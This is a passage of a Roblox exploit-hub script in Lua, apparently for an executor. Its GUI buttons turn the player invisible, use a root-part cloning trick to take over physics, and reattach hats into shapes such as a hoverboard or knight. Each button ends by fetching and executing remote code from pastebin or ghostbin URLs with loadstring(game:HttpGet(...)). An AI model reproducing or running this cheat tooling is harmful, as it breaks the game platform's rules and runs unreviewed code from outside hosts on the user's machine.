game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "q" then
     if toggle == false then
        att2.Position = Vector3.new(x,y,z)
           toggle = true
 else
        att2.Position = Vector3.new(0, -1.808, 1.609)
            toggle = false
        end
    end
end)
end)
 
Hoverboard.Name = "Hoverboard"
Hoverboard.Parent = Scripts
Hoverboard.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
Hoverboard.BorderColor3 = Color3.fromRGB(27, 42, 53)
Hoverboard.BorderSizePixel = 0
Hoverboard.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
Hoverboard.Size = UDim2.new(0, 85, 0, 32)
Hoverboard.Font = Enum.Font.SourceSansItalic
Hoverboard.Text = "Hoverboard"
Hoverboard.TextColor3 = Color3.fromRGB(0, 0, 0)
Hoverboard.TextSize = 24.000
Hoverboard.TextWrapped = true
Hoverboard.MouseButton1Down:connect(function()
 
game.Players.LocalPlayer.Character.Head.Transparency = 1
game.Players.LocalPlayer.Character.Head.face:Remove()
game.Players.LocalPlayer.Character.Torso.Transparency = 1
game.Players.LocalPlayer.Character['Right Arm'].Transparency = 1
game.Players.LocalPlayer.Character["Left Arm"].Transparency = 1
game.Players.LocalPlayer.Character["Right Leg"].Transparency = 1
game.Players.LocalPlayer.Character["Left Leg"].Transparency = 1
 
 Local = game:GetService('Players').LocalPlayer
 Char  = Local.Character
 touched,tpdback = false, false
 Local.CharacterAdded:connect(function(char)
     if script.Disabled ~= true then
         wait(.00001)
         loc = Char.HumanoidRootPart.Position
         Char:MoveTo(box.Position + Vector3.new(0,.5,0))
     end
 end)
 box = Instance.new('Part',workspace)
 box.Anchored = true
 box.Transparency = 1
 box.CanCollide = true
 box.Size = Vector3.new(10,1,10)
 box.Position = Vector3.new(0,10000,0)
 box.Touched:connect(function(part)
     if (part.Parent.Name == Local.Name) then
         if touched == false then
             touched = true
             function apply()
                 if script.Disabled ~= true then
                     no = Char.HumanoidRootPart:Clone()
                     wait(.0001)
                     Char.HumanoidRootPart:Destroy()
                     no.Parent = Char
                     Char:MoveTo(loc)
                     touched = false
                 end end
             if Char then
                 apply()
             end
         end
     end
 end)
 repeat wait() until Char
 loc = Char.HumanoidRootPart.Position
 Char:MoveTo(box.Position + Vector3.new(0,.5,0))
 
 wait(0.5)
local LocalPlayer = game.Players.LocalPlayer;local Character = LocalPlayer.Character;local Mouse = LocalPlayer:GetMouse()
Character["Pink Hair"].Name = "Brick1";Character["Bedhead"].Name = "Brick2"
Character["LongHairHeadBand Black"].Name = "Brick3";Character["Hat1"].Name = "Brick4"
Character["Kate Hair"].Name = "Brick5";Character["BakonHead"].Name = "Brick6"
Character["FireMohawk"].Name = "Brick7";Character["No Speak Monkey"].Name = "Brick8"
Character["Pal Hair"].Name = "Brick9";Character["LavanderHair"].Name = "Brick10"
local Head = Character["Head"];local Torso = Character["Torso"]
local RArm = Character["Right Arm"];local LArm = Character["Left Arm"]
local RLeg = Character["Right Leg"];local LLeg = Character["Left Leg"]
local Hat1 = Character["Brick1"];local Hat2 = Character["Brick2"]
local Hat3 = Character["Brick3"];local Hat4 = Character["Brick4"]
local Hat5 = Character["Brick5"];local Hat6 = Character["Brick6"]
local Hat7 = Character["Brick7"];local Hat8 = Character["Brick8"]
local Hat9 = Character["Brick9"];local Hat10 = Character["Brick10"]
 
Hat1.Handle.Mesh:Destroy()
Hat2.Handle.Mesh:Destroy()
Hat3.Handle.Mesh:Destroy()
Hat4.Handle.Mesh:Destroy()
Hat5.Handle.Mesh:Destroy()
Hat7.Handle.Mesh:Destroy()
Hat8.Handle.Mesh:Destroy()
Hat9.Handle.Mesh:Destroy()
Hat10.Handle.Mesh:Destroy()
 
 
--LostDevelopers Alignment Function
function Align(Part1,Part0,Position,Angle)
local AlignPos = Instance.new("AlignPosition", Part1);
AlignPos.Parent.CanCollide = false;
AlignPos.ApplyAtCenterOfMass = true;
AlignPos.MaxForce = 67752;
AlignPos.MaxVelocity = math.huge/9e110;
AlignPos.ReactionForceEnabled = false;
AlignPos.Responsiveness = 200;
AlignPos.RigidityEnabled = false;
local AlignOri = Instance.new("AlignOrientation", Part1);
AlignOri.MaxAngularVelocity = math.huge/9e110;
AlignOri.MaxTorque = 67752;
AlignOri.PrimaryAxisOnly = false;
AlignOri.ReactionTorqueEnabled = false;
AlignOri.Responsiveness = 200;
AlignOri.RigidityEnabled = false;
local AttachmentA=Instance.new("Attachment",Part1);
local AttachmentB=Instance.new("Attachment",Part0);
AttachmentB.Orientation = Angle
AttachmentB.Position = Position
AlignPos.Attachment0 = AttachmentA;
AlignPos.Attachment1 = AttachmentB;
AlignOri.Attachment0 = AttachmentA;
AlignOri.Attachment1 = AttachmentB;
end
Character.Humanoid.HipHeight = 0
function Weld(Part)
Part.Handle.AccessoryWeld:Destroy()
end
function Mesh(Part)
Part.Handle.SpecialMesh:Destroy()
end
Weld(Hat1);Weld(Hat2);Weld(Hat3)
Weld(Hat4);Weld(Hat5);Weld(Hat6)
Weld(Hat7);Weld(Hat8);Weld(Hat9)
Weld(Hat10)
--[[ Alignment and Measurements ]]--
Align(Hat1.Handle, RLeg, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat2.Handle, LLeg, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat3.Handle, Torso, Vector3.new(0,-0.2,0), Vector3.new(0,90,0))
Align(Hat4.Handle, LArm, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat5.Handle, RArm, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat6.Handle, Head, Vector3.new(0,0,0), Vector3.new(0,40,0))
Align(Hat7.Handle, Torso, Vector3.new(1,-3.3,0), Vector3.new(90,90,0))
Align(Hat8.Handle, Torso, Vector3.new(2.2,-3,0), Vector3.new(0,0,50))
Align(Hat9.Handle, Torso, Vector3.new(-1,-3.2,0), Vector3.new(0,90,0))
Align(Hat10.Handle, Torso, Vector3.new(-1,-3.2,-0.2), Vector3.new(0,90,0))
game.Players.LocalPlayer.Character.Humanoid.HipHeight = 1
 
 
wait(0.2)
loadstring(game:HttpGet(('https://pastebin.com/raw/hkFAiC1y'),true))()
end)
 
Trashcan.Name = "Trashcan"
Trashcan.Parent = Scripts
Trashcan.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
Trashcan.BorderColor3 = Color3.fromRGB(27, 42, 53)
Trashcan.BorderSizePixel = 0
Trashcan.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
Trashcan.Size = UDim2.new(0, 85, 0, 32)
Trashcan.Font = Enum.Font.SourceSansItalic
Trashcan.Text = "Trash can"
Trashcan.TextColor3 = Color3.fromRGB(0, 0, 0)
Trashcan.TextSize = 30.000
Trashcan.TextWrapped = true
Trashcan.MouseButton1Down:connect(function()
 
game.Players.LocalPlayer.Character.Head.Transparency = 1
game.Players.LocalPlayer.Character.Head.face:Remove()
game.Players.LocalPlayer.Character.Torso.Transparency = 1
game.Players.LocalPlayer.Character['Right Arm'].Transparency = 1
game.Players.LocalPlayer.Character["Left Arm"].Transparency = 1
game.Players.LocalPlayer.Character["Right Leg"].Transparency = 1
game.Players.LocalPlayer.Character["Left Leg"].Transparency = 1
 
 Local = game:GetService('Players').LocalPlayer
 Char  = Local.Character
 touched,tpdback = false, false
 Local.CharacterAdded:connect(function(char)
     if script.Disabled ~= true then
         wait(.00001)
         loc = Char.HumanoidRootPart.Position
         Char:MoveTo(box.Position + Vector3.new(0,.5,0))
     end
 end)
 box = Instance.new('Part',workspace)
 box.Anchored = true
 box.Transparency = 1
 box.CanCollide = true
 box.Size = Vector3.new(10,1,10)
 box.Position = Vector3.new(0,10000,0)
 box.Touched:connect(function(part)
     if (part.Parent.Name == Local.Name) then
         if touched == false then
             touched = true
             function apply()
                 if script.Disabled ~= true then
                     no = Char.HumanoidRootPart:Clone()
                     wait(.0001)
                     Char.HumanoidRootPart:Destroy()
                     no.Parent = Char
                     Char:MoveTo(loc)
                     touched = false
                 end end
             if Char then
                 apply()
             end
         end
     end
 end)
 repeat wait() until Char
 loc = Char.HumanoidRootPart.Position
 Char:MoveTo(box.Position + Vector3.new(0,.5,0))
 
 wait(0.5)
local LocalPlayer = game.Players.LocalPlayer;local Character = LocalPlayer.Character;local Mouse = LocalPlayer:GetMouse()
Character["LavanderHair"].Name = "Brick1";Character["Kate Hair"].Name = "Brick2"
Character["Hat1"].Name = "Brick3";Character["Pal Hair"].Name = "Brick4"
Character["LongHairHeadBand Black"].Name = "Brick5";Character["Trash Can"].Name = "Brick6"
Character["Trash Can Lid"].Name = "Brick7"
local Head = Character["Head"];local Torso = Character["Torso"]
local RArm = Character["Right Arm"];local LArm = Character["Left Arm"]
local RLeg = Character["Right Leg"];local LLeg = Character["Left Leg"]
local Hat1 = Character["Brick1"];local Hat2 = Character["Brick2"]
local Hat3 = Character["Brick3"];local Hat4 = Character["Brick4"]
local Hat5 = Character["Brick5"];local Hat6 = Character["Brick6"]
local Hat7 = Character["Brick7"]
 
Hat1.Handle.Mesh:Destroy()
Hat2.Handle.Mesh:Destroy()
Hat3.Handle.Mesh:Destroy()
Hat4.Handle.Mesh:Destroy()
Hat5.Handle.Mesh:Destroy()
 
--LostDevelopers Alignment Function
function Align(Part1,Part0,Position,Angle)
local AlignPos = Instance.new("AlignPosition", Part1);
AlignPos.Parent.CanCollide = false;
AlignPos.ApplyAtCenterOfMass = true;
AlignPos.MaxForce = 67752;
AlignPos.MaxVelocity = math.huge/9e110;
AlignPos.ReactionForceEnabled = false;
AlignPos.Responsiveness = 200;
AlignPos.RigidityEnabled = false;
local AlignOri = Instance.new("AlignOrientation", Part1);
AlignOri.MaxAngularVelocity = math.huge/9e110;
AlignOri.MaxTorque = 67752;
AlignOri.PrimaryAxisOnly = false;
AlignOri.ReactionTorqueEnabled = false;
AlignOri.Responsiveness = 200;
AlignOri.RigidityEnabled = false;
local AttachmentA=Instance.new("Attachment",Part1);
local AttachmentB=Instance.new("Attachment",Part0);
AttachmentB.Orientation = Angle
AttachmentB.Position = Position
AlignPos.Attachment0 = AttachmentA;
AlignPos.Attachment1 = AttachmentB;
AlignOri.Attachment0 = AttachmentA;
AlignOri.Attachment1 = AttachmentB;
end
Character.Humanoid.HipHeight = 0
function Weld(Part)
Part.Handle.AccessoryWeld:Destroy()
end
function Mesh(Part)
Part.Handle.SpecialMesh:Destroy()
end
Weld(Hat1);Weld(Hat2);Weld(Hat3)
Weld(Hat4);Weld(Hat5);Weld(Hat6)
Weld(Hat7)
--[[ Alignment and Measurements ]]--
Align(Hat1.Handle, RLeg, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat2.Handle, LLeg, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat5.Handle, Torso, Vector3.new(0,-0.2,0), Vector3.new(0,90,0))
Align(Hat4.Handle, LArm, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat3.Handle, RArm, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat6.Handle, Torso, Vector3.new(0,0.3,0), Vector3.new(0,40,0))
Align(Hat7.Handle, Torso, Vector3.new(0,2,0), Vector3.new(0,0,0))
 
wait(0.1)
loadstring(game:HttpGet(('https://ghostbin.co/paste/5r3k3/raw'),true))()
end)
 
Fairy.Name = "Fairy"
Fairy.Parent = Scripts
Fairy.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
Fairy.BorderColor3 = Color3.fromRGB(27, 42, 53)
Fairy.BorderSizePixel = 0
Fairy.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
Fairy.Size = UDim2.new(0, 85, 0, 32)
Fairy.Font = Enum.Font.SourceSansItalic
Fairy.Text = "Fairy"
Fairy.TextColor3 = Color3.fromRGB(0, 0, 0)
Fairy.TextSize = 30.000
Fairy.TextWrapped = true
Fairy.MouseButton1Down:connect(function()
 
game.Players.LocalPlayer.Character.Head.Transparency = 1
game.Players.LocalPlayer.Character.Head.face:Remove()
game.Players.LocalPlayer.Character.Torso.Transparency = 1
game.Players.LocalPlayer.Character['Right Arm'].Transparency = 1
game.Players.LocalPlayer.Character["Left Arm"].Transparency = 1
game.Players.LocalPlayer.Character["Right Leg"].Transparency = 1
game.Players.LocalPlayer.Character["Left Leg"].Transparency = 1
 
 Local = game:GetService('Players').LocalPlayer
 Char  = Local.Character
 touched,tpdback = false, false
 Local.CharacterAdded:connect(function(char)
     if script.Disabled ~= true then
         wait(.00001)
         loc = Char.HumanoidRootPart.Position
         Char:MoveTo(box.Position + Vector3.new(0,.5,0))
     end
 end)
 box = Instance.new('Part',workspace)
 box.Anchored = true
 box.Transparency = 1
 box.CanCollide = true
 box.Size = Vector3.new(10,1,10)
 box.Position = Vector3.new(0,10000,0)
 box.Touched:connect(function(part)
     if (part.Parent.Name == Local.Name) then
         if touched == false then
             touched = true
             function apply()
                 if script.Disabled ~= true then
                     no = Char.HumanoidRootPart:Clone()
                     wait(.0001)
                     Char.HumanoidRootPart:Destroy()
                     no.Parent = Char
                     Char:MoveTo(loc)
                     touched = false
                 end end
             if Char then
                 apply()
             end
         end
     end
 end)
 repeat wait() until Char
 loc = Char.HumanoidRootPart.Position
 Char:MoveTo(box.Position + Vector3.new(0,.5,0))
 
 wait(0.5)
local LocalPlayer = game.Players.LocalPlayer;local Character = LocalPlayer.Character;local Mouse = LocalPlayer:GetMouse()
Character["SpringPixie"].Name = "Brick1"
local Head = Character["Head"];local Torso = Character["Torso"]
local RArm = Character["Right Arm"];local LArm = Character["Left Arm"]
local RLeg = Character["Right Leg"];local LLeg = Character["Left Leg"]
local Hat1 = Character["Brick1"]
 
--LostDevelopers Alignment Function
function Align(Part1,Part0,Position,Angle)
local AlignPos = Instance.new("AlignPosition", Part1);
AlignPos.Parent.CanCollide = false;
AlignPos.ApplyAtCenterOfMass = true;
AlignPos.MaxForce = 67752;
AlignPos.MaxVelocity = math.huge/9e110;
AlignPos.ReactionForceEnabled = false;
AlignPos.Responsiveness = 200;
AlignPos.RigidityEnabled = false;
local AlignOri = Instance.new("AlignOrientation", Part1);
AlignOri.MaxAngularVelocity = math.huge/9e110;
AlignOri.MaxTorque = 67752;
AlignOri.PrimaryAxisOnly = false;
AlignOri.ReactionTorqueEnabled = false;
AlignOri.Responsiveness = 200;
AlignOri.RigidityEnabled = false;
local AttachmentA=Instance.new("Attachment",Part1);
local AttachmentB=Instance.new("Attachment",Part0);
AttachmentB.Orientation = Angle
AttachmentB.Position = Position
AlignPos.Attachment0 = AttachmentA;
AlignPos.Attachment1 = AttachmentB;
AlignOri.Attachment0 = AttachmentA;
AlignOri.Attachment1 = AttachmentB;
end
Character.Humanoid.HipHeight = 0
function Weld(Part)
Part.Handle.AccessoryWeld:Destroy()
end
function Mesh(Part)
Part.Handle.SpecialMesh:Destroy()
end
Weld(Hat1)
--[[ Alignment and Measurements ]]--
Align(Hat1.Handle, Torso, Vector3.new(0,0,0.1), Vector3.new(0,0,0))
 
Hat1.Handle.Mesh.Scale = Vector3.new(6,6,6)
 
wait(0.5)
loadstring(game:HttpGet(('https://pastebin.com/raw/1Mv3AQ3a'),true))()
end)
 
NoobDance.Name = "NoobDance"
NoobDance.Parent = Scripts
NoobDance.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
NoobDance.BorderColor3 = Color3.fromRGB(27, 42, 53)
NoobDance.BorderSizePixel = 0
NoobDance.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
NoobDance.Size = UDim2.new(0, 85, 0, 32)
NoobDance.Font = Enum.Font.SourceSansItalic
NoobDance.Text = "Noob Dance"
NoobDance.TextColor3 = Color3.fromRGB(0, 0, 0)
NoobDance.TextSize = 23.000
NoobDance.TextWrapped = true
NoobDance.MouseButton1Down:connect(function()
 
game.Players.LocalPlayer.Character.Head.Transparency = 1
game.Players.LocalPlayer.Character.Head.face:Remove()
game.Players.LocalPlayer.Character.Torso.Transparency = 1
game.Players.LocalPlayer.Character['Right Arm'].Transparency = 1
game.Players.LocalPlayer.Character["Left Arm"].Transparency = 1
game.Players.LocalPlayer.Character["Right Leg"].Transparency = 1
game.Players.LocalPlayer.Character["Left Leg"].Transparency = 1
 
 Local = game:GetService('Players').LocalPlayer
 Char  = Local.Character
 touched,tpdback = false, false
 Local.CharacterAdded:connect(function(char)
     if script.Disabled ~= true then
         wait(.00001)
         loc = Char.HumanoidRootPart.Position
         Char:MoveTo(box.Position + Vector3.new(0,.5,0))
     end
 end)
 box = Instance.new('Part',workspace)
 box.Anchored = true
 box.Transparency = 1
 box.CanCollide = true
 box.Size = Vector3.new(10,1,10)
 box.Position = Vector3.new(0,10000,0)
 box.Touched:connect(function(part)
     if (part.Parent.Name == Local.Name) then
         if touched == false then
             touched = true
             function apply()
                 if script.Disabled ~= true then
                     no = Char.HumanoidRootPart:Clone()
                     wait(.0001)
                     Char.HumanoidRootPart:Destroy()
                     no.Parent = Char
                     Char:MoveTo(loc)
                     touched = false
                 end end
             if Char then
                 apply()
             end
         end
     end
 end)
 repeat wait() until Char
 loc = Char.HumanoidRootPart.Position
 Char:MoveTo(box.Position + Vector3.new(0,.5,0))
 
 wait(0.5)
local LocalPlayer = game.Players.LocalPlayer;local Character = LocalPlayer.Character;local Mouse = LocalPlayer:GetMouse()
Character["LavanderHair"].Name = "Brick1";Character["Pal Hair"].Name = "Brick2"
Character["LongHairHeadBand Black"].Name = "Brick3";Character["Hat1"].Name = "Brick4"
Character["Kate Hair"].Name = "Brick5";Character["PlushNoob"].Name = "Brick6"
local Head = Character["Head"];local Torso = Character["Torso"]
local RArm = Character["Right Arm"];local LArm = Character["Left Arm"]
local RLeg = Character["Right Leg"];local LLeg = Character["Left Leg"]
local Hat1 = Character["Brick1"];local Hat2 = Character["Brick2"]
local Hat3 = Character["Brick3"];local Hat4 = Character["Brick4"]
local Hat5 = Character["Brick5"];local Hat6 = Character["Brick6"]
 
Hat1.Handle.Mesh:Destroy()
Hat2.Handle.Mesh:Destroy()
Hat3.Handle.Mesh:Destroy()
Hat4.Handle.Mesh:Destroy()
Hat5.Handle.Mesh:Destroy()
 
--LostDevelopers Alignment Function
function Align(Part1,Part0,Position,Angle)
local AlignPos = Instance.new("AlignPosition", Part1);
AlignPos.Parent.CanCollide = false;
AlignPos.ApplyAtCenterOfMass = true;
AlignPos.MaxForce = 67752;
AlignPos.MaxVelocity = math.huge/9e110;
AlignPos.ReactionForceEnabled = false;
AlignPos.Responsiveness = 200;
AlignPos.RigidityEnabled = false;
local AlignOri = Instance.new("AlignOrientation", Part1);
AlignOri.MaxAngularVelocity = math.huge/9e110;
AlignOri.MaxTorque = 67752;
AlignOri.PrimaryAxisOnly = false;
AlignOri.ReactionTorqueEnabled = false;
AlignOri.Responsiveness = 200;
AlignOri.RigidityEnabled = false;
local AttachmentA=Instance.new("Attachment",Part1);
local AttachmentB=Instance.new("Attachment",Part0);
AttachmentB.Orientation = Angle
AttachmentB.Position = Position
AlignPos.Attachment0 = AttachmentA;
AlignPos.Attachment1 = AttachmentB;
AlignOri.Attachment0 = AttachmentA;
AlignOri.Attachment1 = AttachmentB;
end
Character.Humanoid.HipHeight = 0
function Weld(Part)
Part.Handle.AccessoryWeld:Destroy()
end
function Mesh(Part)
Part.Handle.SpecialMesh:Destroy()
end
Weld(Hat1);Weld(Hat2);Weld(Hat3)
Weld(Hat4);Weld(Hat5);Weld(Hat6)
--[[ Alignment and Measurements ]]--
Align(Hat1.Handle, RLeg, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat2.Handle, LLeg, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat3.Handle, Torso, Vector3.new(0,-0.2,0), Vector3.new(0,90,0))
Align(Hat4.Handle, LArm, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat5.Handle, RArm, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat6.Handle, Head, Vector3.new(0,0.1,0), Vector3.new(0,0,0))
 
wait(0.5)
loadstring(game:HttpGet(('https://ghostbin.co/paste/je98d/raw'),true))()
end)
 
Knight.Name = "Knight"
Knight.Parent = Scripts
Knight.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
Knight.BorderColor3 = Color3.fromRGB(27, 42, 53)
Knight.BorderSizePixel = 0
Knight.Position = UDim2.new(0.0370370373, 0, 0.0113740861, 0)
Knight.Size = UDim2.new(0, 85, 0, 32)
Knight.Font = Enum.Font.SourceSansItalic
Knight.Text = "Knight"
Knight.TextColor3 = Color3.fromRGB(0, 0, 0)
Knight.TextSize = 30.000
Knight.TextWrapped = true
Knight.MouseButton1Down:connect(function()
 
game.Players.LocalPlayer.Character.Head.Transparency = 1
game.Players.LocalPlayer.Character.Head.face:Remove()
game.Players.LocalPlayer.Character.Torso.Transparency = 1
game.Players.LocalPlayer.Character['Right Arm'].Transparency = 1
game.Players.LocalPlayer.Character["Left Arm"].Transparency = 1
game.Players.LocalPlayer.Character["Right Leg"].Transparency = 1
game.Players.LocalPlayer.Character["Left Leg"].Transparency = 1
 
 Local = game:GetService('Players').LocalPlayer
 Char  = Local.Character
 touched,tpdback = false, false
 Local.CharacterAdded:connect(function(char)
     if script.Disabled ~= true then
         wait(.00001)
         loc = Char.HumanoidRootPart.Position
         Char:MoveTo(box.Position + Vector3.new(0,.5,0))
     end
 end)
 box = Instance.new('Part',workspace)
 box.Anchored = true
 box.Transparency = 1
 box.CanCollide = true
 box.Size = Vector3.new(10,1,10)
 box.Position = Vector3.new(0,10000,0)
 box.Touched:connect(function(part)
     if (part.Parent.Name == Local.Name) then
         if touched == false then
             touched = true
             function apply()
                 if script.Disabled ~= true then
                     no = Char.HumanoidRootPart:Clone()
                     wait(.0001)
                     Char.HumanoidRootPart:Destroy()
                     no.Parent = Char
                     Char:MoveTo(loc)
                     touched = false
                 end end
             if Char then
                 apply()
             end
         end
     end
 end)
 repeat wait() until Char
 loc = Char.HumanoidRootPart.Position
 Char:MoveTo(box.Position + Vector3.new(0,.5,0))
 
 wait(0.5)
local LocalPlayer = game.Players.LocalPlayer;local Character = LocalPlayer.Character;local Mouse = LocalPlayer:GetMouse()
Character["LavanderHair"].Name = "Brick1";Character["Pal Hair"].Name = "Brick2"
Character["LongHairHeadBand Black"].Name = "Brick3";Character["Hat1"].Name = "Brick4"
Character["Kate Hair"].Name = "Brick5";Character["helmet"].Name = "Brick6"
Character["danielAccessory"].Name = "Brick7"
local Head = Character["Head"];local Torso = Character["Torso"]
local RArm = Character["Right Arm"];local LArm = Character["Left Arm"]
local RLeg = Character["Right Leg"];local LLeg = Character["Left Leg"]
local Hat1 = Character["Brick1"];local Hat2 = Character["Brick2"]
local Hat3 = Character["Brick3"];local Hat4 = Character["Brick4"]
local Hat5 = Character["Brick5"];local Hat6 = Character["Brick6"]
local Hat7 = Character["Brick7"]
 
Hat1.Handle.Mesh:Destroy()
Hat2.Handle.Mesh:Destroy()
Hat3.Handle.Mesh:Destroy()
Hat4.Handle.Mesh:Destroy()
Hat5.Handle.Mesh:Destroy()
 
--LostDevelopers Alignment Function
function Align(Part1,Part0,Position,Angle)
local AlignPos = Instance.new("AlignPosition", Part1);
AlignPos.Parent.CanCollide = false;
AlignPos.ApplyAtCenterOfMass = true;
AlignPos.MaxForce = 67752;
AlignPos.MaxVelocity = math.huge/9e110;
AlignPos.ReactionForceEnabled = false;
AlignPos.Responsiveness = 200;
AlignPos.RigidityEnabled = false;
local AlignOri = Instance.new("AlignOrientation", Part1);
AlignOri.MaxAngularVelocity = math.huge/9e110;
AlignOri.MaxTorque = 67752;
AlignOri.PrimaryAxisOnly = false;
AlignOri.ReactionTorqueEnabled = false;
AlignOri.Responsiveness = 200;
AlignOri.RigidityEnabled = false;
local AttachmentA=Instance.new("Attachment",Part1);
local AttachmentB=Instance.new("Attachment",Part0);
AttachmentB.Orientation = Angle
AttachmentB.Position = Position
AlignPos.Attachment0 = AttachmentA;
AlignPos.Attachment1 = AttachmentB;
AlignOri.Attachment0 = AttachmentA;
AlignOri.Attachment1 = AttachmentB;
end
Character.Humanoid.HipHeight = 0
function Weld(Part)
Part.Handle.AccessoryWeld:Destroy()
end
function Mesh(Part)
Part.Handle.SpecialMesh:Destroy()
end
Weld(Hat1);Weld(Hat2);Weld(Hat3)
Weld(Hat4);Weld(Hat5);Weld(Hat6)
Weld(Hat7)
--[[ Alignment and Measurements ]]--
Align(Hat1.Handle, RLeg, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat2.Handle, LLeg, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat3.Handle, Torso, Vector3.new(0,-0.2,0), Vector3.new(0,90,0))
Align(Hat4.Handle, LArm, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat5.Handle, RArm, Vector3.new(0,0,0), Vector3.new(90,0,0))
Align(Hat6.Handle, Head, Vector3.new(0,0.3,0), Vector3.new(0,0,0))
Align(Hat7.Handle, Torso, Vector3.new(0,0,1), Vector3.new(180,0,180))
 
wait(0.5)
loadstring(game:HttpGet(('https://ghostbin.co/paste/9ouy9/raw'),true))()
end)
 
credits.Name = "credits"
credits.Parent = Main
credits.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
credits.BorderSizePixel = 0
credits.Position = UDim2.new(0.0188882221, 0, 0.758816004, 0)
credits.Size = UDim2.new(0, 70, 0, 46)
credits.AutoButtonColor = false
credits.Font = Enum.Font.SourceSansSemibold
credits.Text = "Credits"
credits.TextColor3 = Color3.fromRGB(0, 0, 0)
credits.TextSize = 17.000
 
scripts.Name = "scripts"
scripts.Parent = Main
scripts.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
scripts.BorderSizePixel = 0
scripts.Position = UDim2.new(0.0187450238, 0, 0.456513822, 0)
scripts.Size = UDim2.new(0, 70, 0, 46)
scripts.AutoButtonColor = false
scripts.Font = Enum.Font.SourceSansSemibold
scripts.Text = "Scripts"
scripts.TextColor3 = Color3.fromRGB(0, 0, 0)
scripts.TextSize = 17.000
 
updates.Name = "updates"
updates.Parent = Main
updates.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
updates.BorderSizePixel = 0
updates.Position = UDim2.new(0.0188882221, 0, 0.153641224, 0)
updates.Size = UDim2.new(0, 70, 0, 46)
updates.AutoButtonColor = false
updates.Font = Enum.Font.SourceSansSemibold
updates.Text = "Updates"
updates.TextColor3 = Color3.fromRGB(0, 0, 0)
updates.TextSize = 17.000
 
Welcome.Name = "Welcome"
Welcome.Parent = Main
Welcome.BackgroundColor3 = Color3.fromRGB(27, 27, 27)
Welcome.BackgroundTransparency = 1.000
Welcome.BorderSizePixel = 0
Welcome.Position = UDim2.new(0.368291467, 0, 0, 0)
Welcome.Size = UDim2.new(0, 172, 0, 27)
Welcome.Font = Enum.Font.SourceSans
Welcome.Text = "-"
Welcome.TextColor3 = Color3.fromRGB(0, 0, 0)
Welcome.TextScaled = true
Welcome.TextSize = 20.000
Welcome.TextWrapped = true
 
Hub.Name = "Hub"
Hub.Parent = Main
Hub.BackgroundColor3 = Color3.fromRGB(255, 163, 26)
Hub.BorderSizePixel = 0
Hub.Position = UDim2.new(0.148261026, 0, 0, 0)
Hub.Size = UDim2.new(0, 53, 0, 27)
 
TextLabel_10.Parent = Hub
TextLabel_10.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_10.BackgroundTransparency = 1.000
TextLabel_10.BorderSizePixel = 0
TextLabel_10.Position = UDim2.new(-0.00564749539, 0, 0, 0)
TextLabel_10.Size = UDim2.new(0, 52, 0, 27)
TextLabel_10.Font = Enum.Font.SourceSans
TextLabel_10.Text = "Hub"
TextLabel_10.TextColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_10.TextScaled = true
TextLabel_10.TextSize = 50.000
TextLabel_10.TextWrapped = true
 
TextLabel_11.Parent = Main
TextLabel_11.BackgroundColor3 = Color3.fromRGB(27, 27, 27)
TextLabel_11.BackgroundTransparency = 1.000
TextLabel_11.BorderSizePixel = 0
TextLabel_11.Position = UDim2.new(-0.000354729069, 0, 0, 0)
TextLabel_11.Size = UDim2.new(0, 49, 0, 27)
TextLabel_11.Font = Enum.Font.SourceSans
TextLabel_11.Text = "Hat"
TextLabel_11.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_11.TextScaled = true
TextLabel_11.TextSize = 50.000
TextLabel_11.TextWrapped = true
 
-- Scripts:
 
local function UCTSGTA_fake_script() -- credits.LocalScript 
	local script = Instance.new('LocalScript', credits)
 
	script.Parent.MouseButton1Click:Connect(function()
		script.Parent.Parent.Scripts.Visible = false
		script.Parent.Parent.Credits.Visible = true
		script.Parent.Parent.Updates.Visible = false
	end)
end
coroutine.wrap(UCTSGTA_fake_script)()
local function FUPUUWX_fake_script() -- scripts.LocalScript 
	local script = Instance.new('LocalScript', scripts)
 
	script.Parent.MouseButton1Click:Connect(function()
		script.Parent.Parent.Scripts.Visible = true
		script.Parent.Parent.Credits.Visible = false
		script.Parent.Parent.Updates.Visible = false
	end)
end
coroutine.wrap(FUPUUWX_fake_script)()
local function LFORL_fake_script() -- updates.LocalScript 
	local script = Instance.new('LocalScript', updates)
 
	script.Parent.MouseButton1Click:Connect(function()
		script.Parent.Parent.Scripts.Visible = false
		script.Parent.Parent.Credits.Visible = false
		script.Parent.Parent.Updates.Visible = true
	end)
end
coroutine.wrap(LFORL_fake_script)()
local function YLMDVM_fake_script() -- Welcome.LocalScript 
	local script = Instance.new('LocalScript', Welcome)
 
	user = game.Players.LocalPlayer
 
	script.Parent.Text = "Welcome, " .. user.Name
end
coroutine.wrap(YLMDVM_fake_script)()
local function QHASD_fake_script() -- Main.Open/Close 
	local script = Instance.new('LocalScript', Main)
 
	local HH =  script.Parent
	local open = false
	local UserInputService = game:GetService("UserInputService")
 
